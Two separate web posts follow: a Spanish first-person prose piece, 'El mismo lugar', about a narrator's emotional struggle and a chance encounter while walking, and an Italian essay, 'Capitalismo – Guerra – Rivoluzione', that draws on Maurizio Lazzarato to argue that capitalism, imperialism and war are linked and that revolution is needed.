No me importa qué digan de mí, no me importa lo que piensen. No me importa que crean que me estoy victimizando. No importa si piensan que estoy exagerando. Ya no me importa. Solo me importa lo que pienso, lo que siento en estos momentos. Estoy enojada conmigo, con el mundo, con la vida. Estoy… Sí, angustiada. Muy angustiada. Quiero llorar, gritar, hacer estallar todo en este preciso instante. Siempre traté de brindarme a los demás, sin intentar recibir nada a cambio. Pero hubo quienes se aprovecharon de mi bondad, de mi ingenuidad, y por último, de mi confianza. Por eso, ya nada ni nadie me importa. Solo, la gente que sé que realmente me quiere, y a la que sé que realmente le importo.
Salgo. Me junto con amigas. 0, 1, 2, 3 veces. Las veces que lo necesite. Salgo a pasear, visito a familiares. Voy a la plaza. Camino, camino mucho. Voy hacia ninguna parte, a la nada misma. Mi cuerpo sabe hacia donde tiene que ir, qué tiene que hacer. Pero mi mente, al menos por un rato, lo olvida. Solo salgo, y camino. Las voces, los ruidos de los autos, colectivos, motos, camiones, bicicletas, todo me distrae, me lleva hacia otro lado. Los perros, los chicos, todo me transporta. Continúo caminando. El sol en mi cara, alumbrándome como diciéndome: «hola, estoy acá. No estás sola. Siempre voy a estar para acompañarte, a menos que sea de noche, o esté nublado. Si es de noche, vas a tener a tu luna, a tu querida y tan adorada luna». Me saca una leve sonrisa. El viento me empuja hacia atrás, como queriéndose llevar la parte baja de mi vestido, mi cartera, y a mí misma. Pero por un tiempo, logra llevarse todo lo malo, lo negativo. Sé que, como en los casos anteriores, solo van a ser momentos de pequeña paz, antes de que mi mente, caiga en sus propias guerras. Pero eso, al menos por ahora, me sirve, me alcanza. Funciona. Quisiera quedarme así, en calma, en paz. Ya no tener que pensar en nada más que solo el ruido, y mi mente en blanco, o diciéndome: «vos podés, dale que vos podés. Pudiste con mucho. Esto no tiene que ser la excepción. Tenés que salir adelante, tenés que seguir. Porque sos fuerte, sos valiente. Solo tenés que dejar todo eso atrás, y seguir adelante». Sí, dale, cuando vos quieras che. Posta que es re fácil genia. Sos re grosa conciencia, e. Calladita te ves más bonita. ¿Nunca te dijeron eso? Bueno, vos fijate que es así loca. No puedo. Lo intento, y muchas veces siento que no puedo. Intento que mi mente quede en blanco de nuevo. Continúo caminando. Despacio, muy despacio. Sé que quienes me vieran, no me reconocerían, no sabrían que soy yo.
Estoy a punto de cruzar una calle. Faltan unos metros para llegar a la esquina. Un señor grande se me acerca y me pregunta:
—¿Disculpame, vas a cruzar nena?
—Sí, —le respondo.
Llego a la esquina. él se acerca despacio. Lo tomo del hombro. Esperamos que los autos pasen para poder cruzar…
—Hace rato que no te veía, que no nos encontrábamos. —Me dice. Ahí, le reconozco la voz.
—¿Como andás? Estás muy linda. Me alegro muchísimo que estés así. Que puedas ser feliz. Me alegro mucho, enserio. De todo corazón. —Me dice. Y sé que no lo dice con malicia, ni con ningún otro tipo de mala intención.
Recuerdo nuestras charlas, sus luchas, la marcha a la que fuimos. Las historias compartidas, y lo que no me animé a contarle. Lo que ahora él, se dio cuenta. El cambio que vio en mí. Fue hace ya un largo tiempo cuando nos conocimos, y cuando nos vimos por última vez… Vamos cruzando la calle despacio, muy despacio, a su ritmo. Los autos y colectivos esperan pacientes a que terminemos de pasar.
—Muchísimas gracias. —Le respondo—. Realmente me hace muy bien todo lo que me está diciendo. Mis luchas se están poniendo complicadas, pero ya tengo mi DNI, y ese sé que es un enorme logro.
—De nada chiquita, no tenés nada que agradecer. Las luchas son complicadas, pero siempre hay una luz al final del túnel. Te lo dice un sobreviviente, vos sabés… Bueno, te dejo. ¿De acá ya podés seguir solita?
—Sí, —le respondo—. ¡Muchas gracias de nuevo!
Tal vez sí, tal vez es así. Tal vez, solo tenemos que dejar pasar el tiempo, y esperar a que las cosas se vayan acomodando, para que de una vez por todas, empecemos a sanar. A dejar todo lo malo atrás. Pero, no podemos hacerlo solos, él, tampoco pudo. Y ahí, es donde también están las personas que quieren vernos bien, a las que les importamos. Y además, las personitas más importantes de este mundo para mí. Esas personitas especiales sin las que, todas las luchas, metas y objetivos, no tendrían el mismo significado, no serían iguales. Tal vez, como dice mi hermano, encontramos esas respuestas, caminando por la calle. tal vez, en realidad, solo encontramos, más preguntas. Tal vez, aunque vayamos y vengamos, siempre terminamos en el mismo lugar…
Matías Barberis: «El mismo lugar».
#AlmasRotas #angustia #autoconocimiento #crisisEmocional #emociones #escrituraTerapéutica #experienciaTrans #IdentidadDeGénero #insomnio #introspección #reflexiónPersonal #resilienciaEmocional #SaludMental #soledad #tristeza -
CAPITALISMO – GUERRA – RIVOLUZIONE
Comprendere il presente per sovvertirlo
img generata da IA – dominio pubblico
di V. Pellegrino
Questa ragione di vivere: vincere.
Victor Serge
da “Memorie di un rivoluzionario”Ebbene sì, siamo ripiombati nel fascismo! E il fascismo, braccio politico dell’imperialismo, produce la guerra, il genocidio, la distruzione. Ma ciò che è ancor più grave e preoccupante in questo terrificante presente è la totale assenza di una prospettiva strategica di classe, in grado di porre la rivoluzione necessaria come obbiettivo concreto, perseguibile e perseguito. I livelli di atomizzazione a cui è stata spinta la società, attraverso la manipolazione algoritmica profonda, sono senza precedenti e le lotte, lungi dal convergere, si fanno sempre più frammentate e isolate, tra loro e in seno alla società. Le classi subalterne sono talmente soggiogate, da vecchie e nuove forme di controllo e di oppressione, da non essere in grado di sviluppare un pensiero critico autonomo, restando così prive degli strumenti necessari a produrre autocoscienza e spinta rivoluzionaria e, ancor più, capacità di autorganizzazione collettiva.
Tanto il concetto di guerra (in atto) quanto quello di rivoluzione (necessaria) sono stati completamente rimossi dal quadro del pensiero politico anticapitalista, con il risultato che non solo ci troviamo del tutto impotenti rispetto alla devastante realtà di fascismo e guerra che ci circonda, ma anche privi di una prospettiva di riscossa, di liberazione. Al di là della critica delle forme della politica, che ho cercato di sviluppare negli articoli che ho scritto per Rizomatica, e della proposta di un nuovo metodo politico fondato sulla democrazia diretta informatizzata, l’impasse, in cui si vede intrappolato il molteplice e disperso mondo anticapitalista, ha radici profonde. Radici direttamente connesse con la particolare linea di pensiero che, secondo le recenti tesi di Maurizio Lazzarato, a partire da Foucault e dalla sua analisi del neoliberalismo, basata sul concetto di biopolitica, è stata fatta propria dal mondo antagonista in tutto l’Occidente.
Nel tentativo, sempre velleitario – come deve essere ogni prospettiva rivoluzionaria – di rintracciare le carenze del pensiero critico occidentale, successivo al grande momento di rottura rappresentato dal 1968 e di rimettere al centro le nozioni di «guerra», come elemento strutturale del sistema capitalistico, e di «rivoluzione», come necessaria via di uscita dalla catastrofe verso la quale lo stato presente di cose ci sta precipitando e come avvio della costituzione di una società auspicabile, farò riferimento a un autore che, nella sua recente opera, mostra di avere un quadro analitico sufficientemente chiaro e condivisibile insieme a un barlume di prospettiva strategica: il già citato Maurizio Lazzarato.
Per meglio illustrare i nessi e i passaggi logici che utilizzerò in questo articolo, per dimostrare la necessità di attingere a prospettive critiche tralasciate dai movimenti e dal pensiero critico e tuttavia indispensabili a ricollocare la guerra, così come la rivoluzione, all’interno del quadro teorico interpretativo del sistema capitalistico, svolgerò un breve excursus storico nel tentativo di mettere in relazione le origini del capitalismo con l’attuale contesto politico, fortemente caratterizzato, sotto tutte le prospettive, da un evidente crinale paradigmatico.
Capitalismo
Il capitalismo è mutevole fin dalla sua origine. Più esattamente, le sue forme fenomeniche sono storicamente determinate. Se assumiamo che il suo significato è quello di un sistema economico basato sulla centralità del capitale e sul regime giuridico privatistico, il mercantilismo può correttamente definirsi come una prima forma di capitalismo, come un capitalismo di ventura. Fernand Braudel1 ne individua la vigenza in ambito europeo, dal XIV al XVIII secolo, un tempo particolarmente lungo, circa quattro secoli, durante il quale “nelle comunicazioni si assiste al trionfo dell’acqua e della nave, mentre le distese continentali rappresentano un ostacolo, una ragione di inferiorità.”
Con il progresso delle scoperte scientifiche e il conseguente sviluppo di nuove tecniche, tecnologie e macchinari, a partire dall’Inghilterra della seconda metà del XVIII secolo, si affermò in Europa, per poi raggiungere l’America del nord, la Rivoluzione industriale. In Occidente il capitalismo mutò pelle, trasformando la sua natura da mercantile a industriale: il profitto dell’imprenditore non proveniva più dai margini di guadagno derivanti dal processo commerciale che scambiava denaro con merci e queste a sua volta con altro denaro, sfruttando la differenza dei prezzi locali, ma dall’appropriazione del pluslavoro degli operai, in forma di plusvalore.
A partire dagli anni ’80 del secolo scorso, sotto la spinta di un’altra rivoluzione tecnologica, la Rivoluzione digitale, il capitalismo ha subito un’ulteriore profondissima trasformazione, da industriale a cognitivo2. Con questa trasformazione, a essere messo in produzione non è più tanto il corpo del lavoratore, la sua forza fisica, la sua motilità corporea, ma la sua mente, le sue capacità linguistiche, comunicative, affettive, cognitive in genere. Questa nuova fase del capitalismo occidentale è stata inizialmente indicata con il termine postfordismo, come “ciò che emerge dopo il fordismo”, a indicare l’assetto produttivo di beni materiali derivante dalla massiccia automazione della catena di montaggio, con la sostituzione pressoché integrale del lavoro operaio con quello di robot e la tendenziale riduzione dell’attività umana a funzioni di mero controllo e supervisione del ciclo produttivo.
L’automazione della produzione dei beni fisici e la contestuale, crescente smaterializzazione della produzione (dove il valore dei beni immateriali, cioè dei servizi in senso ampio – dall’industria dell’intrattenimento ai sistemi sanitari, dal turismo alla scuola e all’università – ha da tempo superato quello della produzione industriale), hanno visto il passaggio del controllo capitalistico dal corpo alla mente del lavoratore. Mentre nella tradizionale produzione industriale il rapporto tra capitale e lavoro era di natura conflittuale e le due componenti costituivano delle reciproche controparti, la produzione immateriale richiede la piena adesione del lavoratore ai fini d’impresa; esso è cooptato nelle funzioni di controllo, direzione e comando dell’impresa che lo spingono verso una pressoché totale autonomia operativa e nel contempo a una auto-responsabilizzazione rispetto ai risultati. La cooperazione sociale, con il suo immenso patrimonio naturale rappresentato dal general intellect, rimpiazza così le funzioni di organizzazione della produzione proprie dell’imprenditore-capitalista, poi del manager, con l’ulteriore accentuazione della loro natura parassitaria. Questo cruciale passaggio dal sistema fordista a quello postfordista è stato accompagnato da un pervasivo processo di finanziarizzazione dell’economia, che ha reso possibile la deterritorializzazione del capitale, la sua tendenziale globalizzazione3. Ciò a sua volta ha determinato un’enorme concentrazione dei flussi di rendita e profitto con l’annientamento del tessuto produttivo basato su piccole e medie aziende (con effetti particolarmente gravi in un paese come l’Italia il cui tessuto produttivo è da sempre caratterizzato da aziende di piccole e medie dimensioni) a favore di imprese multinazionali, quasi tutte statunitensi, a forte impronta monopolistica.
A partire dai primi anni del nuovo millennio, con la nascita nel 2005 del così detto web 2.0, internet subisce una radicale trasformazione, passando a essere da strumento unilaterale (l’informazione va dal sito all’utente) a interattivo (scambio incessante di informazione sito-utente, utente-sito). È sulla base di questa innovazione tecnologica che nascono le piattaforme digitali, stack informatici di tipo interattivo dove, su di una base informatica dall’architettura definita dai loro proprietari, si trovano a operare gli utenti (users) che, in tal modo divengono prosumers cioè, allo stesso tempo, produttori e consumatori di informazione. Sulla natura insieme volontaria e gratuita di questa attività di produzione in rete ha scritto Tiziana Terranova nel suo Free Labor: Producing Culture for the Digital Economy che ho già avuto modo di richiamare in altre occasioni nei miei precedenti articoli usciti su questa rivista.
Nel capitalismo delle piattaforme, il lavoro volontario e gratuito di miliardi di utenti produce i contenuti dei vari social network che si contendono l’attenzione e l’azione (produttiva) degli utenti della rete a scopi di profilazione e vendita di inserzioni pubblicitarie. Sulla base di questo immenso, automatizzato lavoro di tracciamento, sono prodotti i così detti big data, vale a dire enormi banche di dati tanto massivi quanto personali: se da un lato è saliente il dato statistico generale (la percentuale di gradimento di un certo bene, per esempio), tecnicamente definiti dati aggregati, è altrettanto rilevante l’identità associata a ogni specifico dato, cosicché sia possibile inviare messaggi pubblicitari personalizzati ai singoli utenti della rete. I dati in sé divengono una risorsa economica che viene estratta, raffinata (trasformazione del dato grezzo in dato aggregato) e scambiata sul mercato.
Ovviamente, l’aspetto economico connesso alla sistematica raccolta dei dati prodotti (con la diffusione capillare dello smartphone anche nei paesi più poveri) dalla quasi totalità della popolazione mondiale, è quello che, pur di non immediata evidenza, è di dominio pubblico e può essere studiato da ricercatori ed economisti. Ma è il libero e sistematico accesso, in tempo reale, a questa enorme disponibilità di dati da parte degli apparati militari e polizieschi di Stato che più impatta in termini politici, per le sue funzioni di controllo e repressione sociale, anche preventive.
Un ulteriore, decisivo, salto qualitativo nella natura del capitalismo si ha con la recente massificazione dell’uso di quella che viene definita, con un’enorme forzatura epistemica, Intelligenza artificiale. Come considerazione preliminare vi è infatti da dire che l’AI non ha proprio nulla dell’intelligenza animale, di cui fa parte quella umana, fondata sull’inferenza logico-deduttiva, cioè sulla pregnanza. L’AI non è altro che una elaborazione di natura statistica, in tempo pressoché reale, di enormi masse di dati (i così detti LLM Large Language Model) attraverso cui è possibile estrapolare apparenti risposte ai quesiti e/o ai compiti che le si pone. La natura del suo funzionamento non è la pregnanza bensì la salienza (Paolo Vignola – intervento al Seminario “Baite filosofiche” di Lecco).
Sull’onda di questo stravolgimento del concetto di intelligenza, in un articolo ormai celebre uscito su Wired nel lontano 2008 con il titolo The End of Theory: The Data Deluge Makes the Scientific Method Obsolete, Chris Anderson, allora caporedattore della nota rivista di informatica, annunciava in toni entusiastici che, per effetto del progressivo sviluppo della capacità di calcolo e della crescente mole di dati disponibili, lo stesso metodo scientifico, basato sulla formulazione di teorie la cui validità andava comprovata in forma sperimentale, poteva dirsi ormai obsoleto: non è più necessario affinare una teoria per spiegare i fenomeni del mondo, è sufficiente osservarli in modo massivo ricavandone dei modelli (modellazione matematica). Al metodo della teorizzazione può così essere sostituito quello della modellazione. Si possono solo vagamente immaginare, specialmente in termini di prospettiva, le enormi implicazioni che questa trasformazione è in grado di produrre, con il tendenziale abbandono non solo del concetto di scienza e del suo assetto epistemologico ma dello stesso apparato gnoseologico e, con essi, del metodico esercizio dell’intelligenza umana, che ha caratterizzato sino a oggi l’evoluzione della nostra specie fin dalle sue origini, e lo stesso dato esistenziale.
I primi evidenti segni di questa profondissima trasformazione antropologica sono identificati da Bernard Stiegler attraverso il concetto di proletarizzazione dei saperi4, dove l’articolata e complessa attività di progettazione di oggetti, strumenti, programmi, che implicava lo sviluppo di specifiche professionalità e rispettive scuole, è resa superflua dalla capacità di modellazione propria dell’AI.
Tutte le trasformazioni tecnologiche hanno portato e portano a un aumento della produttività, anzi esse sono state introdotte a questo specifico scopo. Tale incremento, attraverso l’azione politica neoliberalista, è stato interamente appropriato dal capitale; nulla è stato redistribuito alla società sotto forma di riduzione generalizzata del tempo di lavoro, disattendendo così in modo clamoroso e totale le previsioni che uno dei più importanti economisti del secolo scorso, John Maynard Keynes, aveva formulato nel suo Prospettive economiche per i nostri nipoti5. Attribuire per questo ingenuità politica a Keynes non ha molto senso dal punto di vista storico ma questo suo clamoroso errore di previsione certamente evidenzia come l’economista teorico dello stato sociale avesse una considerazione sostanzialmente positiva del capitalismo, ritenendolo un sistema in grado di autoemendarsi. Meglio, è forse proprio nella capacità della Politica di perseguire l’interesse collettivo, anche attraverso la civilizzazione del capitalismo rispetto alla sua forma più primitiva e selvaggia, che Keynes riponeva la sua fiducia. Il secolo di avvenimenti che ci separa da quell’ottimistica previsione dimostra in modo inequivocabile quanto Keynes si sbagliasse sulla natura politica del capitalismo e sul carattere della politica in regime capitalistico: sono questa natura e questo carattere, infatti, ad aver storicamente forgiato le concrete forme economiche, sociali, giuridiche del capitalismo stesso.
Colonialismo e imperialismo
La storia dell’Occidente moderno è segnata da due fattori-chiave: la nascita del metodo scientifico e lo slancio verso la conquista di nuovi territori da sfruttare, insieme alle loro popolazioni. Fin dalla sua origine, il colonialismo si è presentato come il dispiegamento di un coagulo di interessi diversi; ad agire è stata la macchina Stato-capitale, un binomio inscindibile, una sorta di simbiosi6. Dietro gli eserciti di conquista, entravano in azione le compagnie commerciali: “La Compagnia delle Indie” è la denominazione generale dietro la quale sono nate e hanno operato numerosissime società commerciali a cui diversi paesi colonizzatori, nel corso del XVII secolo, hanno affidato il monopolio dello sfruttamento commerciale delle proprie colonie. La forza devastatrice e appropriatrice operava, cioè, attraverso la sinergia dell’interesse politico (gli Stati) e di quello economico (le società commerciali).
Tale modello operativo e rimasto attivo anche nel passaggio dal colonialismo propriamente detto al neocolonialismo e all’imperialismo. Se il grande processo di decolonizzazione avviato tra le due guerre mondiali ha visto il nascere, nelle ex-colonie, di Stati politicamente indipendenti, la loro dipendenza e la sottomissione economica, e quindi politica, dai paesi colonizzatori di fatto non è mai cessata. Dopo la Seconda Guerra mondiale, l’imperialismo americano ha progressivamente sottratto alle ex potenze europee le rispettive aree di dominio, dando agli Stati Uniti, grazie al loro super esercito e al signoraggio della loro moneta, l’egemonia globale.
Da questo quadro si comprende bene come l’appropriazione del pluslavoro operaio da parte del capitalista sia solo una delle forme, quella studiata e criticata dall’opera di Karl Marx, attraverso le quali l’accumulazione del capitale si è data storicamente. Senza il lavoro schiavistico nelle colonie, senza il lavoro gratuito delle donne in ogni tempo e in ogni dove, senza lo sfruttamento del lavoro minorile e dei razzializzati, le spettacolari diseguaglianze7 che caratterizzano il passato e ancor più il presente del nostro mondo, non avrebbero potuto darsi.
Nel suo “Guerra e moneta. Imperialismo del dollaro, neoliberalismo, rotture rivoluzionarie”, Maurizio Lazzarato, attraverso un’analisi disincantata e radicale, ci riporta con i “piedi per terra” rispetto a chiavi di lettura del presente che, prima con Foucault, poi con Deleuze e i molti loro epigoni, si sono concentrate sull’analisi del neoliberalismo attraverso il concetto di biopolitica. Lazzarato ci mostra come il neoliberalismo sia vigente solo in periodi di tregua nei conflitti di natura geopolitica tra differenti macchine Stato-capitale che tendono, ognuna, a espandersi senza limiti, a scapito e in concorrenza tra loro. La lunga fase neoliberalista, relativamente pacifica, che si è data in Occidente dalla fine degli anni ’70, si è oggi conclusa, lasciando nuovamente l’iniziativa al potere politico degli Stati nella direzione della preparazione di un nuovo conflitto su scala globale.
Il capitalismo ideale, economico, basato sulla concorrenza pura, immaginato da Adam Smith e da David Ricardo e oggetto della critica marxiana, non esiste nella realtà. Il capitalismo reale non crollerà a causa della caduta tendenziale del saggio di profitto, come prevedeva Marx. Anziché la concorrenza perfetta, ad affermarsi nella storia sono stati invece il monopolio e l’oligopolio, il trust e il cartello, cioè fenomeni economicamente spuri, dove a essere determinante è la dimensione politica. Invece di essere un “processo senza soggetto” (Luis Althusser), l’accumulazione è il risultato di una precisa strategia politico-militare. Già Rosa Luxemburg definiva l’imperialismo come il dispositivo che tiene insieme l’azione economica (il capitale) e l’azione politico-militare (lo Stato)8.
Nella stessa opera, a p. 54, Lazzarato riporta una citazione da Rosa Luxemburg nella quale è espressa una critica teorico-politica, di fondamentale importanza per il nostro presente, al pensiero di Marx: “Marx aveva sviluppato la sua analisi dell’accumulazione in un’epoca in cui l’imperialismo non era ancora emerso sulla scena mondiale; l’ipotesi sulla quale riposava l’analisi di Marx, l’egemonia definitiva e assoluta del capitale nel mondo, esclude a priori il processo dell’imperialismo.”, nel quale invece lo Stato – quello egemone, nel nostro caso quello statunitense – gioca un ruolo chiave. Per calarci nel nostro immediato presente: Musk (il capitale) ha bisogno di Trump (lo Stato), così come Trump ha bisogno di Musk9.
È dentro la prima globalizzazione, quella esaminata da Karl Polanyi nel suo “La grande trasformazione” e studiata e criticata da R. Luxemburg, che il capitale dimostra di non poter esercitare “un dominio assoluto ed esclusivo”: esso ha bisogno dello Stato per sopravvivere e prosperare. Da questo “errore” marxiano (più che di un errore, si tratta di un limite storico – verrà sempre troppo tardi il momento in cui smetteremo di tirare per la giacca il barbuto di Treviri!) deriverebbe tutta una serie di carenze analitiche, tanto relative al passato quanto più al presente, questo presente di guerra.
I principali limiti del pensiero critico dal ’68 in poi, originati proprio dallo specifico orizzonte storico – preimperialista – nel quale si è prodotta l’opera marxiana, e riflettentisi nell’analisi della realtà di Foucault, fatta propria poi da Deleuze e da Negri a partire dal concetto di biopolitica, hanno prodotto una vera e propria rimozione della guerra e della rivoluzione come elementi imprescindibili della realtà storica e politica. Secondo Lazzarato, la mondializzazione non è quella descritta da Negri e Hardt in Impero. Egli scrive:
“La mondializzazione si sta riconfigurando secondo logiche politiche (non economiche) (tra macchine Stato-capitale alleate contro altre macchine diversamente alleate e quindi nemiche), come in realtà è sempre stato. La guerra fa risaltare chiaramente il ruolo dello Stato nel funzionamento del “mercato” e dell’economia. Nella crisi e soprattutto nella guerra, il rapporto costitutivo della macchina bicefala Stato-capitale si sbilancia a favore del primo. È il primo termine che prende violentemente il sopravvento sul secondo. Non è il mercato che distribuisce risorse secondo le leggi dell’economia, ma lo Stato che decide cosa e a chi si può esportare, dove e come si può produrre, come e quanto si deve spendere (privilegiare gli investimenti per gli armamenti, ridurre le spese e i diritti sociali ecc.), secondo le leggi della politica e della potenza. Così anche le merci, e soprattutto la tecnologia e la scienza, si scoprono avere una «patria».”
Sulla figura di Lenin, Lazzarato, a p. 80 di Guerra e moneta così si esprime: “I poveri di spirito (e ce ne sono molti!) considerano Lenin un «cane morto». Noi invece lo consideriamo un teorico non solo della rivoluzione ma anche del capitalismo, perché con il concetto di imperialismo, malgrado tutte le debolezze teoriche che vi si possono rilevare, enuclea con sicurezza politica quattro caratteristiche che si ritrovano pure nell’imperialismo sofisticato del dollaro10. Lenin e i rivoluzionari dell’epoca sono da studiare anche per un’altra ragione. La miseria del pensiero critico contemporaneo è costretta a riferirsi alla «geopolitica» per cercare di capire ciò che succede a livello di mercato mondiale con la guerra. La geopolitica è una disciplina istituzionale che riduce il capitalismo a rapporti tra Stati, spogliandoli della loro natura di lotta tra le classi e di lotta tra Stati a partire dall’accumulazione del capitale e dall’accumulazione di potenza. Per sfuggire dai limiti della geopolitica e riportare le strategie che si organizzano dentro la mondializzazione alle lotte di classe, Lenin può essere ancora molto utile.”
Guerra
Come ci indica Maurizio Lazzarato nei suoi più recenti lavori, i primi a svolgere una critica di classe all’imperialismo furono Rosa Luxemburg e Lenin, che poterono assistere al suo dispiegamento nel corso della Prima Guerra mondiale, durante la quale l’enorme devastazione di uomini e di risorse fu attuata proprio attraverso la macchina Stato-capitale. La potenza (dello Stato) e il profitto (del capitale) sono stati i due fattori che, congiungendosi e intrecciandosi in modo indissolubile, hanno precipitato il mondo nella prima guerra combattuta su scala planetaria.
La guerra si presenta, allora come oggi, come un potente fattore di socializzazione della produzione, la quale resterà da ciò per sempre segnata. La socializzazione della produzione in funzione della guerra determina l’identità e la reversibilità di produzione e distruzione: si tratta della produzione (di armi) per la distruzione (del nemico, statuale o di classe). “Il «general intellect» nasce militarizzato perché si sviluppa durante e grazie alle due guerre mondiali. La sussunzione della società al capitale e lo sviluppo del general intellect nascono nella e dalla guerra e ne saranno anche loro segnati per sempre. È ormai impossibile separare l’economico, lo scientifico, il tecnologico dal militare.”
Dal punto di vista analitico: “La rimozione dell’imperialismo significa l’esclusione della guerra, dei monopoli e dello Stato dal funzionamento del capitalismo. Il monopolio e la concorrenza tra imperialismi, con la conseguente corsa agli armamenti, costituiscono invece i processi di centralizzazione del comando sul lavoro nel mercato mondiale. Ma l’imperialismo è soprattutto una nuova fase dello scontro di classe, la fase della rivoluzione mondiale in cui i «popoli oppressi» e non più la classe operaia giocano un ruolo centrale. C’è un doppio salto rispetto a Marx, uno riguarda il capitalismo (non concorrenziale), l’altro la rivoluzione (non operaia).”
Durante la guerra, è il potere esecutivo, quello dei governi, che prende il sopravvento: il potere degli esecutivi, non quello degli Stati maggiori degli eserciti, è infatti in grado di mobilitare l’intera nazione e di fargli così adottare una particolare economia e produzione. Qui è impossibile non vedere l’immediata correlazione, nel presente, con il progetto ReArm Europe e con la New U.S. National Security Strategy.
Ciononostante, contrariamente a quanto verrebbe da pensare, è proprio durante periodi di tregua nei conflitti armati che i processi di centralizzazione economica assumono la loro massima forza. Proprio durante il neoliberalismo, con “la sua pretesa lotta ai monopoli e a ogni tipo di concentrazione del potere che impedisca l’esercizio della libera concorrenza e della libera iniziativa, il capitale operava una centralizzazione del potere economico e del potere politico da far impallidire quella della mondializzazione precedente.”
Per quanto attiene alla potenza egemone, “Nessuna concorrenza può sfidare il dispositivo del dollaro come moneta internazionale, pena lo scontro con il Pentagono. Qualsiasi sistema monetario/finanziario (che si ponga come) alternativo al dollaro, capace cioè di funzionare come mezzo di pagamento per gli scambi internazionali e da riserva per le banche centrali, è una dichiarazione di guerra contro gli Stati Uniti.” Quale segno tangibile dell’attuale progressiva decadenza degli USA come potenza egemone mondiale e, con essi, dell’intero Occidente, alcuni paesi del Sud del mondo hanno raccolto questa sfida al dollaro come moneta dominante con la costituzione dei BRICS (oggi divenuti BRICS+), il cui intento è proprio quello di sottrarsi al dominio assoluto del dollaro come valuta di pagamento internazionale e di riserva finanziaria.
Mentre il neo e l’ordoliberalismo problematizzano il rapporto tra guerra e economia secondo la concezione di quest’ultima come un’alternativa alla guerra, in realtà, soprattutto a partire dal XX secolo, “ogni punto di svolta, ogni ristrutturazione della produzione economica e ogni cambiamento del potere politico sul mercato mondiale è stato determinato non da nuove razionalità, oppure da «rivoluzioni» tecnologiche o produttive (come sostenuto da Joseph Schumpeter nel suo “Il capitalismo può sopravvivere? La distruzione creatrice e il futuro dell’economia globale”), bensì dalla guerra; e ancora, non dalle crisi, come ai tempi di Marx, ma proprio dalle guerre, come accade dai tempi di Lenin. … Con l’imperialismo, le grandi svolte produttive e politiche sono determinate dalle guerre (Lenin) e non dalle crisi (Marx)”.
Lazzarato focalizza la sua critica al pensiero di Foucault, capostipite di una lunga sequela di autori che – sulla base del suo insegnamento – caratterizzerà il pensiero critico in Occidente sino ad oggi, sul passaggio che esso avrebbe compiuto da Marx a Weber. Egli scrive: “Proprio in “Nascita della biopolitica” Foucault, … non soltanto conferma l’abbandono della guerra come metodo di analisi del reale, ma anche della lotta di classe. … Il passaggio chiaramente enunciato è da Marx a Weber. Il primo utilizza quella che Foucault definisce «la logica contradditoria del capitale», mentre per il secondo il problema non è più la contraddizione ma la «razionalità irrazionale della società capitalista». … Il passaggio dalla contraddizione alla razionalità è il passaggio dal conflitto alla sua neutralizzazione.”
Sulla solo apparente contrapposizione tra neoliberalismo e imperialismo, sulla loro effettiva complementarità e coesistenza, Lazzarato insiste molto: “Le situazioni di pace e di guerra non si limitano a sostituirsi ma coesistono. La governamentalità «non comincia dove cessa il rumore delle armi», il mercato «non comincia quando finisce la guerra». Sotto la pace, dunque, la guerra (quella tra classi così come quella tra Stati) continua la sua opera; l’economia, la legge e il diritto sono, cioè, il proseguimento della guerra con altri mezzi (sul calco e rovesciamento del noto adagio di von Clausewitz «La guerra è la continuazione della politica con altri mezzi»). Nell’imperialismo del dollaro, sotto il mercato, sotto la governamentalità, sotto la concorrenza, «la guerra continua a infuriare».” Di questo siamo stati resi brutalmente consapevoli, bruscamente risvegliati dall’ubriacatura neoliberalista, dal tornare a divampare della guerra nella sua realtà e, ancor più, nella sua retorica: la guerra in Ucraina e i possenti venti bellicisti e guerrafondai che da essa hanno tratto slancio, ha tutte le prerogative per trasformarsi in una nuova guerra mondiale.
La critica di Lazzarato a Marx si estende alla sua teoria della moneta: egli ritiene che detta teoria sia ambigua: se da un lato supera la concezione propria dell’economia classica secondo cui la moneta è «neutrale», mostrando come, al contrario, essa sia determinante in quanto condizione indispensabile per accedere alle merci sia da parte del consumatore (operaio) che da parte del capitalista (imprenditore) e come fattore che interviene pesantemente nelle transizioni, nella ripartizione dei redditi, nelle differenze di classe, ecc., dall’altra, anche per Marx, “come per l’economia classica, il denaro nasce dallo scambio, ha un’origine mercantile, tutta economica”. In base a ciò, il rapporto della moneta “con il potere politico e lo Stato è un rapporto di utilizzo, strumentale, non è un rapporto strategico, perché (secondo Marx) la genealogia della moneta è spiegabile tramite l’economia. L’ambiguità marxiana (sulla moneta) implica che il denaro del mercato mondiale escluda «sia la moneta simbolica, …, sia il credito».”
La critica che l’autore rivolge alla teoria della moneta di Marx è che essa accredita un funzionamento autonomo della moneta negli scambi, una concezione del denaro come «automa», “che si esprime compiutamente in ciò che Marx chiama «movimento autonomo del valore», capace di rovesciare l’attività umana in un impersonale movimento delle cose (o anche «processo senza soggetto», come verrà detto più tardi). Vorrei mostrare che anche in questo caso, ciò che invece è fondamentale è la strategia politica e militare, quindi, il fatto che la lotta di classe precede non solo la produzione ma anche la moneta. La gestione monetaria e finanziaria (nell’imperialismo) può e di fatto si emancipa dall’oggettività prodotta dal funzionamento autonomo degli scambi. Ciò di cui non può liberarsi sono le lotte di classe11.”
A chiosa e chiarimento del paragrafo dedicato alla teoria della moneta in Marx, Lazzarato afferma: “La mia tesi non vuole sostenere che l’automatismo del valore monetario e finanziario non esista, ma al contrario che esso può essere costruito e funzionare solo dopo lo stabilirsi di strategie, dopo che scelte riguardanti la potenza politica, economica e militare abbiano stabilito chi sono i vincitori che comandano e chi sono i vinti che obbediscono. Innanzitutto, i rapporti di forza stabiliscono chi trae vantaggio dall’automatismo e chi l’automatismo «espropria». È ciò che l’imperialismo del dollaro documenta a chi voglia vedere.” L’assoluta strafottenza di Tramp (a capo del paese con l’esercito più potente del pianeta) nei confronti del resto del mondo, a iniziare dai supposti alleati – in realtà sudditi – degli U.S.A., è la più evidente conferma della veridicità di questo assunto.
“La faccia del capitalismo finanziario di cui il neoliberalismo non deve parlare, ubriacandoci invece di mercato, concorrenza, di domanda e offerta, ci rinvia alla strategia e ai rapporti di forza, in cui è sempre più difficile stabilire delle separazioni nette tra politico, economico e militare.”
